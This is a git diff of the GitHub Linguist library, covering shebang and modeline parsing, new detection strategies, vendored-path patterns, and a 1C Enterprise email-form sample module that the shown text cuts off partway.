@@ -1,27 +1,34 @@
+# frozen_string_literal: true
+
 module Linguist
   class Shebang
     # Public: Use shebang to detect language of the blob.
     #
     # blob               - An object that quacks like a blob.
+    # candidates         - A list of candidate languages.
     #
     # Examples
     #
     #   Shebang.call(FileBlob.new("path/to/file"))
     #
-    # Returns an Array with one Language if the blob has a shebang with a valid
-    # interpreter, or empty if there is no shebang.
-    def self.call(blob, _ = nil)
-      Language.find_by_interpreter interpreter(blob.data)
+    # Returns an array of languages from the candidate list for which the
+    # blob's shebang is valid. Returns an empty list if there is no shebang.
+    # If the candidate list is empty, any language is a valid candidate.
+    def self.call(blob, candidates)
+      return [] if blob.symlink?
+
+      languages = Language.find_by_interpreter interpreter(blob.data)
+      candidates.any? ? candidates & languages : languages
     end
 
     # Public: Get the interpreter from the shebang
     #
     # Returns a String or nil
     def self.interpreter(data)
-      shebang = data.lines.first
-
       # First line must start with #!
-      return unless shebang && shebang.start_with?("#!")
+      return unless data.start_with?("#!")
+
+      shebang = data[0, data.index($/) || data.length]
 
       s = StringScanner.new(shebang)
 
@@ -34,7 +41,10 @@ def self.interpreter(data)
       # if /usr/bin/env type shebang then walk the string
       if script == 'env'
         s.scan(/\s+/)
-        s.scan(/.*=[^\s]+\s+/) # skip over variable arguments e.g. foo=bar
+        while s.scan(/((-[i0uCSv]*|--\S+)\s+)+/) || # skip over optional arguments e.g. -vS
+              s.scan(/(\S+=\S+\s+)+/) # skip over variable arguments e.g. foo=bar
+          # do nothing
+        end
         script = s.scan(/\S+/)
       end
 
@@ -53,6 +63,12 @@ def self.interpreter(data)
         script = $1
       end
 
+      # osascript can be called with an optional `-l <language>` argument, which may not be a language with an interpreter.
+      # In this case, return and rely on the subsequent strategies to determine the language.
+      if script == 'osascript'
+        return if s.scan_until(/\-l\s?/)
+      end
+
       File.basename(script)
     end
   end
diff --git a/lib/linguist/strategy/extension.rb b/lib/linguist/strategy/extension.rb
new file mode 100644
index 0000000000..b871a244fb
--- /dev/null
+++ b/lib/linguist/strategy/extension.rb
@@ -0,0 +1,42 @@
+require 'yaml'
+
+module Linguist
+  module Strategy
+
+    # Detects language based on extension
+    class Extension
+      # Public: Use the file extension to detect the blob's language.
+      #
+      # blob               - An object that quacks like a blob.
+      # candidates         - A list of candidate languages.
+      #
+      # Examples
+      #
+      #   Extension.call(FileBlob.new("path/to/file"))
+      #
+      # Returns an array of languages associated with a blob's file extension.
+      # Selected languages must be in the candidate list, except if it's empty,
+      # in which case any language is a valid candidate.
+      def self.call(blob, candidates)
+        return candidates if generic? blob.name.to_s
+        languages = Language.find_by_extension(blob.name.to_s)
+        candidates.any? ? candidates & languages : languages
+      end
+
+      # Public: Return true if filename uses a generic extension.
+      def self.generic?(filename)
+        self.load
+        @generic.any? { |ext| filename.downcase.end_with? ext }
+      end
+
+      @generic = []
+
+      # Internal: Load the contents of `generic.yml`
+      def self.load()
+        return if @generic.any?
+        data = YAML.load_file(File.expand_path("../../generic.yml", __FILE__))
+        @generic = data['extensions']
+      end
+    end
+  end
+end
diff --git a/lib/linguist/strategy/filename.rb b/lib/linguist/strategy/filename.rb
index b8c819ebc6..39b9ff1bcf 100644
--- a/lib/linguist/strategy/filename.rb
+++ b/lib/linguist/strategy/filename.rb
@@ -1,9 +1,23 @@
 module Linguist
   module Strategy
-    # Detects language based on filename and/or extension
+    # Detects language based on filename
     class Filename
-      def self.call(blob, _)
-        Language.find_by_filename(blob.name.to_s)
+      # Public: Use the filename to detect the blob's language.
+      #
+      # blob               - An object that quacks like a blob.
+      # candidates         - A list of candidate languages.
+      #
+      # Examples
+      #
+      #   Filename.call(FileBlob.new("path/to/file"))
+      #
+      # Returns an array of languages with a associated blob's filename.
+      # Selected languages must be in the candidate list, except if it's empty,
+      # in which case any language is a valid candidate.
+      def self.call(blob, candidates)
+        name = blob.name.to_s
+        languages = Language.find_by_filename(name)
+        candidates.any? ? candidates & languages : languages
       end
     end
   end
diff --git a/lib/linguist/strategy/manpage.rb b/lib/linguist/strategy/manpage.rb
new file mode 100644
index 0000000000..13d838560a
--- /dev/null
+++ b/lib/linguist/strategy/manpage.rb
@@ -0,0 +1,42 @@
+module Linguist
+  module Strategy
+    # Detects man pages based on numeric file extensions with group suffixes.
+    class Manpage
+
+      # Public: RegExp for matching conventional manpage extensions
+      #
+      # This is the same expression as that used by `github/markup`
+      MANPAGE_EXTS = /\.(?:[1-9](?![0-9])[a-z_0-9]*|0p|n|man|mdoc)(?:\.in)?$/i
+
+      # Public: Use the file extension to match a possible man page,
+      # only if no other candidates were previously identified.
+      #
+      # blob               - An object that quacks like a blob.
+      # candidates         - A list of candidate languages.
+      #
+      # Examples
+      #
+      #   Manpage.call(FileBlob.new("path/to/file"))
+      #
+      # Returns:
+      #   1. The list of candidates if it wasn't empty
+      #   2. An array of ["Roff", "Roff Manpage"] if the file's
+      #      extension matches a valid-looking man(1) section
+      #   3. An empty Array for anything else
+      #
+      def self.call(blob, candidates = [])
+        return candidates if candidates.any?
+
+        if blob.name =~ MANPAGE_EXTS
+          return [
+            Language["Roff Manpage"],
+            Language["Roff"],
+            # Language["Text"] TODO: Uncomment once #4258 gets merged
+          ];
+        end
+
+        []
+      end
+    end
+  end
+end
diff --git a/lib/linguist/strategy/modeline.rb b/lib/linguist/strategy/modeline.rb
index 4e16a03cea..365c29c585 100644
--- a/lib/linguist/strategy/modeline.rb
+++ b/lib/linguist/strategy/modeline.rb
@@ -1,19 +1,131 @@
 module Linguist
   module Strategy
     class Modeline
-      EMACS_MODELINE = /-\*-\s*(?:(?!mode)[\w-]+\s*:\s*(?:[\w+-]+)\s*;?\s*)*(?:mode\s*:)?\s*([\w+-]+)\s*(?:;\s*(?!mode)[\w-]+\s*:\s*[\w+-]+\s*)*;?\s*-\*-/i
+      EMACS_MODELINE = %r[
+        (?-m)
 
-      # First form vim modeline
-      # [text]{white}{vi:|vim:|ex:}[white]{options}
-      # ex: 'vim: syntax=ruby'
-      VIM_MODELINE_1 = /(?:vim|vi|ex):\s*(?:ft|filetype|syntax)=(\w+)\s?/i
+        # Opening delimiter
+        -\*-
 
-      # Second form vim modeline (compatible with some versions of Vi)
-      # [text]{white}{vi:|vim:|Vim:|ex:}[white]se[t] {options}:[text]
-      # ex: 'vim set syntax=ruby:'
-      VIM_MODELINE_2 = /(?:vim|vi|Vim|ex):\s*se(?:t)?.*\s(?:ft|filetype|syntax)=(\w+)\s?.*:/i
+        (?:
+          # Short form: `-*- ruby -*-`
+          [ \t]*
+          (?=
+            [^:;\s]+  # Name of mode
+            [ \t]*    # Optional whitespace
+            -\*-      # Closing delimiter
+          )
+          |
 
-      MODELINES = [EMACS_MODELINE, VIM_MODELINE_1, VIM_MODELINE_2]
+          # Longer form: `-*- foo:bar; mode: ruby; -*-`
+          (?:
+            .*?[ \t;] # Preceding variables: `-*- foo:bar bar:baz;`
+            |
+            (?<=-\*-) # Not preceded by anything: `-*-mode:ruby-*-`
+          )
+
+          # Explicitly-named variable: `mode: ruby` or `mode  : ruby`
+          [ \t]* mode [ \t]* : [ \t]*
+        )
+
+        # Name of major-mode, which corresponds to syntax or filetype
+        ([^:;\s]+)
+
+        # Ensure the name is terminated correctly
+        (?=
+          # Followed by semicolon or whitespace
+          [ \t;]
+          |
+          # Touching the ending sequence: `ruby-*-`
+          (?<![-*])   # Don't allow stuff like `ruby--*-` to match; it'll invalidate the mode
+          -\*-        # Emacs has no problems reading `ruby --*-`, however.
+        )
+
+        # If we've gotten this far, it means the modeline is valid.
+        # We gleefully skip past everything up until reaching "-*-"
+        .*?
+
+        # Closing delimiter
+        -\*-
+      ]xi
+
+      # NOTE: When changing this regex, be sure to keep the Vim Help heuristic updated too (#5347)
+      VIM_MODELINE = %r[
+        (?-m)
+
+        # Start of modeline (syntax documented in E520)
+        (?:
+          # `vi:`, `vim:` or `Vim:`
+          (?:^|[ \t]) (?:vi|Vi(?=m))
+
+          # Check if specific Vim version(s) are requested (won't work in vi/ex)
+          (?:
+            # Versioned modeline. `vim<700:` targets Vim versions older than 7.0
+            m
+            [<=>]?    # If comparison operator is omitted, *only* this version is targeted
+            [0-9]+    # Version argument = (MINOR_VERSION_NUMBER * 100) + MINOR_VERSION_NUMBER
+            |
+
+            # Unversioned modeline. `vim:` targets any version of Vim.
+            m
+          )?
+          |
+
+          # `ex:`, which requires leading whitespace to avoid matching stuff like "lex:"
+          [ \t] ex
+        )
+
+        # If the option-list begins with `set ` or `se `, it indicates an alternative
+        # modeline syntax partly-compatible with older versions of Vi. Here, the colon
+        # serves as a terminator for an option sequence, delimited by whitespace.
+        (?=
+          # So we have to ensure the modeline ends with a colon
+          : (?=[ \t]* set? [ \t] [^\r\n:]+ :) |
+
+          # Otherwise, it isn't valid syntax and should be ignored
+          : (?![ \t]* set? [ \t])
+        )
+
+        # Possible (unrelated) `option=value` pairs to skip past
+        (?:
+          # Option separator, either
+          (?:
+            # 1. A colon (possibly surrounded by whitespace)
+            [ \t]* : [ \t]*     # vim: noai :  ft=sh:noexpandtab
+            |
+
+            # 2. At least one (horizontal) whitespace character
+            [ \t]               # vim: noai ft=sh noexpandtab
+          )
+
+          # Option's name. All recognised Vim options have an alphanumeric form.
+          \w*
+
+          # Possible value. Not every option takes an argument.
+          (?:
+            # Whitespace between name and value is allowed: `vim: ft   =sh`
+            [ \t]*=
+
+            # Option's value. Might be blank; `vim: ft= ` means "use no filetype".
+            (?:
+              [^\\\s]    # Beware of escaped characters: titlestring=\ ft=sh
+              |          # will be read by Vim as { titlestring: " ft=sh" }.
+              \\.
+            )*
+          )?
+        )*
+
+        # The actual filetype declaration
+        [ \t:] (?:filetype|ft|syntax) [ \t]*=
+
+        # Language's name
+        (\w+)
+
+        # Ensure it's followed by a legal separator (including EOL)
+        (?=$|\s|:)
+      ]x
+
+      MODELINES = [EMACS_MODELINE, VIM_MODELINE]
 
       # Scope of the search for modelines
       # Number of lines to check at the beginning and at the end of the file
@@ -30,8 +142,13 @@ class Modeline
       # Returns an Array with one Language if the blob has a Vim or Emacs modeline
       # that matches a Language name or alias. Returns an empty array if no match.
       def self.call(blob, _ = nil)
-        header = blob.lines.first(SEARCH_SCOPE).join("\n")
-        footer = blob.lines.last(SEARCH_SCOPE).join("\n")
+        return [] if blob.symlink?
+
+        header = blob.first_lines(SEARCH_SCOPE).join("\n")
+        # Return early for Vimball files as their modeline will not reflect their filetype.
+        return [] if header.include?("UseVimball")
+
+        footer = blob.last_lines(SEARCH_SCOPE).join("\n")
         Array(Language.find_by_alias(modeline(header + footer)))
       end
 
diff --git a/lib/linguist/strategy/xml.rb b/lib/linguist/strategy/xml.rb
new file mode 100644
index 0000000000..8812e5f315
--- /dev/null
+++ b/lib/linguist/strategy/xml.rb
@@ -0,0 +1,30 @@
+module Linguist
+  module Strategy
+    # Detects XML files based on root tag.
+    class XML
+      # Scope of the search for the root tag
+      # Number of lines to check at the beginning of the file
+      SEARCH_SCOPE = 2
+
+      # Public: Use the root tag to detect the XML blobs, only if no other
+      # candidates were previously identified.
+      #
+      # blob               - An object that quacks like a blob.
+      # candidates         - A list of candidate languages.
+      #
+      # Examples
+      #
+      #   XML.call(FileBlob.new("path/to/file"))
+      #
+      # Returns the list of candidates if it wasn't empty, an array with the
+      # XML language as sole item if the root tag is detected, and an empty
+      # Array otherwise.
+      def self.call(blob, candidates = [])
+        return candidates if candidates.any?
+
+        header = blob.first_lines(SEARCH_SCOPE).join("\n")
+        /<?xml version=/.match(header) ? [Language["XML"]] : []
+      end
+    end
+  end
+end
diff --git a/lib/linguist/tokenizer.rb b/lib/linguist/tokenizer.rb
index 7b61804964..5bb8bb147a 100644
--- a/lib/linguist/tokenizer.rb
+++ b/lib/linguist/tokenizer.rb
@@ -1,4 +1,5 @@
 require 'strscan'
+require 'linguist/linguist'
 
 module Linguist
   # Generic programming language tokenizer.
@@ -15,191 +16,5 @@ class Tokenizer
     def self.tokenize(data)
       new.extract_tokens(data)
     end
-
-    # Read up to 100KB
-    BYTE_LIMIT = 100_000
-
-    # Start state on token, ignore anything till the next newline
-    SINGLE_LINE_COMMENTS = [
-      '//', # C
-      '--', # Ada, Haskell, AppleScript
-      '#',  # Ruby
-      '%',  # Tex
-      '"',  # Vim
-    ]
-
-    # Start state on opening token, ignore anything until the closing
-    # token is reached.
-    MULTI_LINE_COMMENTS = [
-      ['/*', '*/'],    # C
-      ['<!--', '-->'], # XML
-      ['{-', '-}'],    # Haskell
-      ['(*', '*)'],    # Coq
-      ['"""', '"""'],  # Python
-      ["'''", "'''"]   # Python
-    ]
-
-    START_SINGLE_LINE_COMMENT =  Regexp.compile(SINGLE_LINE_COMMENTS.map { |c|
-      "\s*#{Regexp.escape(c)} "
-    }.join("|"))
-
-    START_MULTI_LINE_COMMENT =  Regexp.compile(MULTI_LINE_COMMENTS.map { |c|
-      Regexp.escape(c[0])
-    }.join("|"))
-
-    # Internal: Extract generic tokens from data.
-    #
-    # data - String to scan.
-    #
-    # Examples
-    #
-    #   extract_tokens("printf('Hello')")
-    #   # => ['printf', '(', ')']
-    #
-    # Returns Array of token Strings.
-    def extract_tokens(data)
-      s = StringScanner.new(data)
-
-      tokens = []
-      until s.eos?
-        break if s.pos >= BYTE_LIMIT
-
-        if token = s.scan(/^#!.+$/)
-          if name = extract_shebang(token)
-            tokens << "SHEBANG#!#{name}"
-          end
-
-        # Single line comment
-        elsif s.beginning_of_line? && token = s.scan(START_SINGLE_LINE_COMMENT)
-          # tokens << token.strip
-          s.skip_until(/\n|\Z/)
-
-        # Multiline comments
-        elsif token = s.scan(START_MULTI_LINE_COMMENT)
-          # tokens << token
-          close_token = MULTI_LINE_COMMENTS.assoc(token)[1]
-          s.skip_until(Regexp.compile(Regexp.escape(close_token)))
-          # tokens << close_token
-
-        # Skip single or double quoted strings
-        elsif s.scan(/"/)
-          if s.peek(1) == "\""
-            s.getch
-          else
-            s.skip_until(/(?<!\\)"/)
-          end
-        elsif s.scan(/'/)
-          if s.peek(1) == "'"
-            s.getch
-          else
-            s.skip_until(/(?<!\\)'/)
-          end
-
-        # Skip number literals
-        elsif s.scan(/(0x\h(\h|\.)*|\d(\d|\.)*)([uU][lL]{0,2}|([eE][-+]\d*)?[fFlL]*)/)
-
-        # SGML style brackets
-        elsif token = s.scan(/<[^\s<>][^<>]*>/)
-          extract_sgml_tokens(token).each { |t| tokens << t }
-
-        # Common programming punctuation
-        elsif token = s.scan(/;|\{|\}|\(|\)|\[|\]/)
-          tokens << token
-
-        # Regular token
-        elsif token = s.scan(/[\w\.@#\/\*]+/)
-          tokens << token
-
-        # Common operators
-        elsif token = s.scan(/<<?|\+|\-|\*|\/|%|&&?|\|\|?/)
-          tokens << token
-
-        else
-          s.getch
-        end
-      end
-
-      tokens
-    end
-
-    # Internal: Extract normalized shebang command token.
-    #
-    # Examples
-    #
-    #   extract_shebang("#!/usr/bin/ruby")
-    #   # => "ruby"
-    #
-    #   extract_shebang("#!/usr/bin/env node")
-    #   # => "node"
-    #
-    #   extract_shebang("#!/usr/bin/env A=B foo=bar awk -f")
-    #   # => "awk"
-    #
-    # Returns String token or nil it couldn't be parsed.
-    def extract_shebang(data)
-      s = StringScanner.new(data)
-
-      if path = s.scan(/^#!\s*\S+/)
-        script = path.split('/').last
-        if script == 'env'
-          s.scan(/\s+/)
-          s.scan(/.*=[^\s]+\s+/)
-          script = s.scan(/\S+/)
-        end
-        script = script[/[^\d]+/, 0] if script
-        return script
-      end
-
-      nil
-    end
-
-    # Internal: Extract tokens from inside SGML tag.
-    #
-    # data - SGML tag String.
-    #
-    # Examples
-    #
-    #   extract_sgml_tokens("<a href='' class=foo>")
-    #   # => ["<a>", "href="]
-    #
-    # Returns Array of token Strings.
-    def extract_sgml_tokens(data)
-      s = StringScanner.new(data)
-
-      tokens = []
-
-      until s.eos?
-        # Emit start token
-        if token = s.scan(/<\/?[^\s>]+/)
-          tokens << "#{token}>"
-
-        # Emit attributes with trailing =
-        elsif token = s.scan(/\w+=/)
-          tokens << token
-
-          # Then skip over attribute value
-          if s.scan(/"/)
-            s.skip_until(/[^\\]"/)
-          elsif s.scan(/'/)
-            s.skip_until(/[^\\]'/)
-          else
-            s.skip_until(/\w+/)
-          end
-
-        # Emit lone attributes
-        elsif token = s.scan(/\w+/)
-          tokens << token
-
-        # Stop at the end of the tag
-        elsif s.scan(/>/)
-          s.terminate
-
-        else
-          s.getch
-        end
-      end
-
-      tokens
-    end
   end
 end
diff --git a/lib/linguist/vendor.yml b/lib/linguist/vendor.yml
index 6b8c7364af..7170782376 100644
--- a/lib/linguist/vendor.yml
+++ b/lib/linguist/vendor.yml
@@ -5,7 +5,7 @@
 # pathname.
 #
 # Please add additional test coverage to
-# `test/test_blob.rb#test_vendored` if you make any changes.
+# `test/test_file_blob.rb#test_vendored` if you make any changes.
 
 ## Vendor Conventions ##
 
@@ -15,37 +15,57 @@
 # Dependencies
 - ^[Dd]ependencies/
 
+# Distributions
+- (^|/)dist/
+
 # C deps
-#  https://github.com/joyent/node
 - ^deps/
-- ^tools/
 - (^|/)configure$
-- (^|/)config.guess$
-- (^|/)config.sub$
+- (^|/)config\.guess$
+- (^|/)config\.sub$
 
 # stuff autogenerated by autoconf - still C deps
-- (^|/)aclocal.m4
-- (^|/)libtool.m4
-- (^|/)ltoptions.m4
-- (^|/)ltsugar.m4
-- (^|/)ltversion.m4
-- (^|/)lt~obsolete.m4
+- (^|/)aclocal\.m4
+- (^|/)libtool\.m4
+- (^|/)ltoptions\.m4
+- (^|/)ltsugar\.m4
+- (^|/)ltversion\.m4
+- (^|/)lt~obsolete\.m4
+
+# .NET Core Install Scripts
+- (^|/)dotnet-install\.(ps1|sh)$
 
 # Linters
-- cpplint.py
+- (^|/)cpplint\.py
 
 # Node dependencies
-- node_modules/
+- (^|/)node_modules/
+
+# Yarn 2
+- (^|/)\.yarn/releases/
+- (^|/)\.yarn/plugins/
+- (^|/)\.yarn/sdks/
+- (^|/)\.yarn/versions/
+- (^|/)\.yarn/unplugged/
+
+# esy.sh dependencies
+- (^|/)_esy$
 
 # Bower Components
-- bower_components/
+- (^|/)bower_components/
 
 # Erlang bundles
 - ^rebar$
-- erlang.mk
+- (^|/)erlang\.mk
 
 # Go dependencies
-- Godeps/_workspace/
+- (^|/)Godeps/_workspace/
+
+# Go fixtures
+- (^|/)testdata/
+
+# GNU indent profiles
+- (^|/)\.indent\.pro
 
 # Minified JavaScript and CSS
 - (\.|-)min\.(js|css)$
@@ -54,11 +74,12 @@
 - ([^\s]*)import\.(css|less|scss|styl)$
 
 # Bootstrap css and js
-- (^|/)bootstrap([^.]*)\.(js|css|less|scss|styl)$
+- (^|/)bootstrap([^/.]*)(\..*)?\.(js|css|less|scss|styl)$
 - (^|/)custom\.bootstrap([^\s]*)(js|css|less|scss|styl)$
 
 # Font Awesome
-- (^|/)font-awesome\.(css|less|scss|styl)$
+- (^|/)font-?awesome\.(css|less|scss|styl)$
+- (^|/)font-?awesome/.*\.(css|less|scss|styl)$
 
 # Foundation css
 - (^|/)foundation\.(css|less|scss|styl)$
@@ -66,27 +87,38 @@
 # Normalize.css
 - (^|/)normalize\.(css|less|scss|styl)$
 
+# Skeleton.css
+- (^|/)skeleton\.(css|less|scss|styl)$
+
 # Bourbon css
 - (^|/)[Bb]ourbon/.*\.(css|less|scss|styl)$
 
 # Animate.css
 - (^|/)animate\.(css|less|scss|styl)$
 
+# Materialize.css
+- (^|/)materialize\.(css|less|scss|styl|js)$
+
+# Select2
+- (^|/)select2/.*\.(css|scss|js)$
+
+# Bulma css
+- (^|/)bulma\.(css|sass|scss)$
+
 # Vendored dependencies
-- third[-_]?party/
-- 3rd[-_]?party/
-- vendors?/
-- extern(al)?/
+- (3rd|[Tt]hird)[-_]?[Pp]arty/
+- (^|/)vendors?/
+- (^|/)[Ee]xtern(als?)?/
 - (^|/)[Vv]+endor/
 
 # Debian packaging
 - ^debian/
 
 # Haxelib projects often contain a neko bytecode file named run.n
-- run.n$
+- (^|/)run\.n$
 
 # Bootstrap Datepicker
-- bootstrap-datepicker/
+- (^|/)bootstrap-datepicker/
 
 ## Commonly Bundled JavaScript frameworks ##
 
@@ -99,32 +131,44 @@
 - (^|/)jquery\.(ui|effects)\.([^.]*)\.(js|css)$
 
 # jQuery Gantt
-- jquery.fn.gantt.js
+- (^|/)jquery\.fn\.gantt\.js
 
 # jQuery fancyBox
-- jquery.fancybox.(js|css)
+- (^|/)jquery\.fancybox\.(js|css)
 
 # Fuel UX
-- fuelux.js
+- (^|/)fuelux\.js
 
 # jQuery File Upload
 - (^|/)jquery\.fileupload(-\w+)?\.js$
 
+# jQuery dataTables
+- (^|/)jquery\.dataTables\.js
+
+# bootboxjs
+- (^|/)bootbox\.js
+
+# pdf-worker
+- (^|/)pdf\.worker\.js
+
 # Slick
 - (^|/)slick\.\w+.js$
 
 # Leaflet plugins
 - (^|/)Leaflet\.Coordinates-\d+\.\d+\.\d+\.src\.js$
-- leaflet.draw-src.js
-- leaflet.draw.css
-- Control.FullScreen.css
-- Control.FullScreen.js
-- leaflet.spin.js
-- wicket-leaflet.js
+- (^|/)leaflet\.draw-src\.js
+- (^|/)leaflet\.draw\.css
+- (^|/)Control\.FullScreen\.css
+- (^|/)Control\.FullScreen\.js
+- (^|/)leaflet\.spin\.js
+- (^|/)wicket-leaflet\.js
 
 # Sublime Text workspace files
-- .sublime-project
-- .sublime-workspace
+- (^|/)\.sublime-project
+- (^|/)\.sublime-workspace
+
+# VS Code workspace files
+- (^|/)\.vscode/
 
 # Prototype
 - (^|/)prototype(.*)\.js$
@@ -165,7 +209,7 @@
 # Chart.js
 - (^|/)Chart\.js$
 
-# Codemirror
+# CodeMirror
 - (^|/)[Cc]ode[Mm]irror/(\d+\.\d+/)?(lib|mode|theme|addon|keymap|demo)
 
 # SyntaxHighlighter - http://alexgorbatchev.com/
@@ -182,6 +226,9 @@
 # React
 - (^|/)react(-[^.]*)?\.js$
 
+# flow-typed
+- (^|/)flow-typed/.*\.js$
+
 # Modernizr
 - (^|/)modernizr\-\d\.\d+(\.\d+)?\.js$
 - (^|/)modernizr\.custom\.\d+\.js$
@@ -199,40 +246,47 @@
 - (^|/)env/
 
 # Fabric
-- ^fabfile\.py$
+- (^|/)fabfile\.py$
 
 # WAF
-- ^waf$
+- (^|/)waf$
 
 # .osx
-- ^.osx$
+- (^|/)\.osx$
 
 ## Obj-C ##
 
 # Xcode
+### these can be part of a directory name
 
 - \.xctemplate/
 - \.imageset/
 
 # Carthage
-- ^Carthage/
-
-# Cocoapods
-- ^Pods/
+- (^|/)Carthage/
 
 # Sparkle
 - (^|/)Sparkle/
 
 # Crashlytics
-- Crashlytics.framework/
+- (^|/)Crashlytics\.framework/
 
 # Fabric
-- Fabric.framework/
+- (^|/)Fabric\.framework/
+
+# BuddyBuild
+- (^|/)BuddyBuildSDK\.framework/
+
+# Realm
+- (^|/)Realm\.framework
+
+# RealmSwift
+- (^|/)RealmSwift\.framework
 
 # git config files
-- gitattributes$
-- gitignore$
-- gitmodules$
+- (^|/)\.gitattributes$
+- (^|/)\.gitignore$
+- (^|/)\.gitmodules$
 
 ## Groovy ##
 
@@ -241,6 +295,13 @@
 - (^|/)gradlew\.bat$
 - (^|/)gradle/wrapper/
 
+## Java ##
+
+# Maven
+- (^|/)mvnw$
+- (^|/)mvnw\.cmd$
+- (^|/)\.mvn/wrapper/
+
 ## .NET ##
 
 # Visual Studio IntelliSense
@@ -255,7 +316,7 @@
 - (^|/)[Mm]icrosoft([Mm]vc)?([Aa]jax|[Vv]alidation)(\.debug)?\.js$
 
 # NuGet
-- ^[Pp]ackages\/.+\.\d+\/
+- (^|/)[Pp]ackages\/.+\.\d+\/
 
 # ExtJS
 - (^|/)extjs/.*?\.js$
@@ -263,7 +324,7 @@
 - (^|/)extjs/.*?\.txt$
 - (^|/)extjs/.*?\.html$
 - (^|/)extjs/.*?\.properties$
-- (^|/)extjs/.sencha/
+- (^|/)extjs/\.sencha/
 - (^|/)extjs/docs/
 - (^|/)extjs/builds/
 - (^|/)extjs/cmd/
@@ -279,43 +340,54 @@
 - (^|/)html5shiv\.js$
 
 # Test fixtures
-- ^[Tt]ests?/fixtures/
-- ^[Ss]pecs?/fixtures/
+- (^|/)[Tt]ests?/fixtures/
+- (^|/)[Ss]pecs?/fixtures/
 
 # PhoneGap/Cordova
 - (^|/)cordova([^.]*)\.js$
 - (^|/)cordova\-\d\.\d(\.\d)?\.js$
 
 # Foundation js
-- foundation(\..*)?\.js$
+- (^|/)foundation(\..*)?\.js$
 
 # Vagrant
-- ^Vagrantfile$
+- (^|/)Vagrantfile$
 
 # .DS_Stores
-- .[Dd][Ss]_[Ss]tore$
+- (^|/)\.[Dd][Ss]_[Ss]tore$
 
 # R packages
-- ^vignettes/
-- ^inst/extdata/
+- (^|/)inst/extdata/
 
 # Octicons
-- octicons.css
-- sprockets-octicons.scss
+- (^|/)octicons\.css
+- (^|/)sprockets-octicons\.scss
 
 # Typesafe Activator
 - (^|/)activator$
 - (^|/)activator\.bat$
 
 # ProGuard
-- proguard.pro
-- proguard-rules.pro
+- (^|/)proguard\.pro$
+- (^|/)proguard-rules\.pro$
 
 # PuPHPet
-- ^puphpet/
+- (^|/)puphpet/
 
 # Android Google APIs
 - (^|/)\.google_apis/
 
 # Jenkins Pipeline
-- ^Jenkinsfile$
+- (^|/)Jenkinsfile$
+
+# Gitpod
+- (^|/)\.gitpod\.Dockerfile$
+
+# GitHub.com
+- (^|/)\.github/
+
+# obsidian.md settings
+- (^|/)\.obsidian/
+
+# teamcity CI configuration
+- (^|/)\.teamcity/
diff --git a/lib/linguist/version.rb b/lib/linguist/version.rb
index 66c161a0d5..298b1c99f0 100644
--- a/lib/linguist/version.rb
+++ b/lib/linguist/version.rb
@@ -1,3 +1,3 @@
 module Linguist
-  VERSION = "4.8.8"
+  VERSION = File.read(File.expand_path("../VERSION", __FILE__)).strip
 end
diff --git a/package.json b/package.json
deleted file mode 100644
index 827997e5c1..0000000000
--- a/package.json
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "repository": "https://github.com/github/linguist",
-  "dependencies": {
-    "season": "~>5.0"
-  },
-  "license": "MIT"
-}
diff --git "a/samples/1C Enterprise/Catalog.\320\230\321\201\321\205\320\276\320\264\321\217\321\211\320\270\320\265\320\237\320\270\321\201\321\214\320\274\320\260.Form.\320\244\320\276\321\200\320\274\320\260\320\255\320\273\320\265\320\274\320\265\320\275\321\202\320\260.Form.Module.bsl" "b/samples/1C Enterprise/Catalog.\320\230\321\201\321\205\320\276\320\264\321\217\321\211\320\270\320\265\320\237\320\270\321\201\321\214\320\274\320\260.Form.\320\244\320\276\321\200\320\274\320\260\320\255\320\273\320\265\320\274\320\265\320\275\321\202\320\260.Form.Module.bsl"
new file mode 100644
index 0000000000..e59d89b93a
--- /dev/null
+++ "b/samples/1C Enterprise/Catalog.\320\230\321\201\321\205\320\276\320\264\321\217\321\211\320\270\320\265\320\237\320\270\321\201\321\214\320\274\320\260.Form.\320\244\320\276\321\200\320\274\320\260\320\255\320\273\320\265\320\274\320\265\320\275\321\202\320\260.Form.Module.bsl"	
@@ -0,0 +1,265 @@
+&НаСервереБезКонтекста
+Функция ПолучитьКонтактноеЛицоПоЭлектроннойПочте(ЭлектроннаяПочта)
+	Запрос = Новый Запрос;
+	Запрос.Текст = "ВЫБРАТЬ КонтактноеЛицо ИЗ Справочник.Контрагенты ГДЕ ЭлектроннаяПочта = &ЭлектроннаяПочта";
+	Запрос.Параметры.Вставить("ЭлектроннаяПочта", СокрЛП(ЭлектроннаяПочта));
+	Выборка = Запрос.Выполнить().Выбрать();
+	КонтактноеЛицо = "";
+	Если Выборка.Следующий() Тогда
+		КонтактноеЛицо = Выборка.КонтактноеЛицо;
+	КонецЕсли;
+	Возврат КонтактноеЛицо;
+КонецФункции
+
+&НаСервереБезКонтекста
+Функция ПолучитьКонтактноеЛицоПоПолучателю(Получатель)
+	Запрос = Новый Запрос;
+	Запрос.Текст = "ВЫБРАТЬ КонтактноеЛицо ИЗ Справочник.Контрагенты ГДЕ Ссылка = &Получатель";
+	Запрос.Параметры.Вставить("Получатель", Получатель);
+	Выборка = Запрос.Выполнить().Выбрать();
+	КонтактноеЛицо = "";
+	Если Выборка.Следующий() Тогда
+		КонтактноеЛицо = Выборка.КонтактноеЛицо;
+	КонецЕсли;
+	Возврат КонтактноеЛицо;
+КонецФункции
+
+&НаСервереБезКонтекста
+Процедура ДобавитьПолучателей(Получатель, Получатели)	
+	Запрос = Новый Запрос;
+	Запрос.Текст = "ВЫБРАТЬ ЭлектроннаяПочта ИЗ Справочник.Контрагенты ГДЕ Ссылка ";
+	Если ТипЗнч(Получатели) = Тип("Массив") Тогда
+		Запрос.Текст = Запрос.Текст + "В (&Получатели)";
+	Иначе
+		Запрос.Текст = Запрос.Текст + "= &Получатели";
+	КонецЕсли;
+	Запрос.Параметры.Вставить("Получатели", Получатели);
+	Выборка = Запрос.Выполнить().Выбрать();
+	Пока Выборка.Следующий() Цикл
+		Если Получатель <> "" Тогда
+			Получатель = Получатель + "; ";
+		КонецЕсли;
+		Получатель = Получатель + Выборка.ЭлектроннаяПочта;
+	КонецЦикла;
+КонецПроцедуры
+
+&НаСервере
+Процедура ПриСозданииНаСервере(Отказ, СтандартнаяОбработка)
+	Если Параметры.Ключ.Пустая() Тогда
+		Заголовок = "Исходящее письмо (Создание)";
+		Объект.Дата = ТекущаяДата();
+		ПоШаблону = Параметры.Свойство("ПоШаблону");
+		ВходящееПисьмо = Параметры.ВходящееПисьмо;
+		Если ПоШаблону = Истина Тогда
+			Элементы.ЗаполнитьПоШаблону.Видимость = Истина;
